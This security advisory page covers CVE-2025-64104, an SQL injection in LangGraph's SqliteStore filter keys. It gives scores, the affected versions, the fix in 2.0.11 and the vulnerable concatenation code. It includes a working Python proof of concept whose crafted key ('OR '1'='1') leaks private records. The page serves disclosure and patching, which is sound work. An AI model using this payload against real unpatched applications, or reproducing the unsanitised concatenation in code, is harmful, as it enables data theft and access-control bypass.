All vulnerabilities
CVE-2025-64104GHSA-7p73-8jqx-23r8PYSEC-2026-1529

langgraph-checkpoint-sqlite: LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore

langchain-ai langgraph-checkpoint-sqlitepipDatabases
CVSS
7.3High
ExploitationPublic exploit codeCISA's assessment says proof of concept code is public, assessed 30 Oct 2025. Not in the KEV catalogCISA via CVE List
Exploit odds (EPSS)0.24%Chance of exploitation activity in the next 30 days, higher than 15% of CVEs. Scored 28 Oct 2026FIRST EPSS
Fixed in2.0.11Fixed versionGitHub
Published29 Oct 2025Updated 28 Oct 2026CVE List

What fixes it

  • 2.0.11langgraph-checkpoint-sqlite, pipGitHub
  • 2.0.11langgraph-checkpoint-sqlite, PyPIOSVpip install "langgraph-checkpoint-sqlite>=2.0.11"

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.

Details

[/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407)

The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.

  filter_conditions.append(
      "json_extract(value, '$."
      + key  # <-- Directly concatenated, no escaping!
      + "') = '"
      + value.replace("'", "''")  # <-- Only value is escaped
      + "'"
  )

Who is affected

This issue affects **only developers or projects that directly use the checkpoint-sqlite store**.

An application is vulnerable only if it:

  1. Instantiates the SqliteStore from the checkpoint-sqlite package, and
  2. Builds the filter argument using keys derived from untrusted or user-supplied input (such as query parameters, request bodies, or other external data).

If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.

Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.

PoC

_Complete instructions, including specific configuration details, to reproduce the vulnerability._

#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""

from langgraph.store.sqlite import SqliteStore

# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
    store.setup()
    
    # Add public and private documents
    store.put(("docs",), "public", {"access": "public", "data": "public info"})
    store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
    
    # Normal query - returns 1 public document
    normal = store.search(("docs",), filter={"access": "public"})
    print(f"Normal query: {len(normal)} docs")
    
    # SQL injection via malicious key
    malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
    injected = store.search(("docs",), filter={malicious_key: "dummy"})
    
    print(f"Injected query: {len(injected)} docs")
    for doc in injected:
        if doc.value.get("access") == "private":
            print(f"LEAKED: {doc.value}")

Text from GitHub Advisory Database

Affected versions 19

  • langgraph-checkpoint-sqlite, pip<= 2.0.10GitHub
  • langgraphaffected: < 2.0.11CVE List
  • langgraph-checkpoint-sqlite, PyPIfrom first release, fixed in 2.0.11OSV
  • langgraph-checkpoint-sqlite, PyPI1.0.0OSV
  • langgraph-checkpoint-sqlite, PyPI1.0.1OSV
  • langgraph-checkpoint-sqlite, PyPI1.0.2OSV
  • langgraph-checkpoint-sqlite, PyPI1.0.3OSV
  • langgraph-checkpoint-sqlite, PyPI1.0.4OSV
  • langgraph-checkpoint-sqlite, PyPI2.0.0OSV
  • langgraph-checkpoint-sqlite, PyPI2.0.1OSV
  • langgraph-checkpoint-sqlite, PyPI2.0.10OSV
  • langgraph-checkpoint-sqlite, PyPI2.0.2OSV
  • langgraph-checkpoint-sqlite, PyPI2.0.3OSV
  • langgraph-checkpoint-sqlite, PyPI2.0.4OSV
  • langgraph-checkpoint-sqlite, PyPI2.0.5OSV
  • langgraph-checkpoint-sqlite, PyPI2.0.6OSV
  • langgraph-checkpoint-sqlite, PyPI2.0.7OSV
  • langgraph-checkpoint-sqlite, PyPI2.0.8OSV
  • langgraph-checkpoint-sqlite, PyPI2.0.9OSV

References 5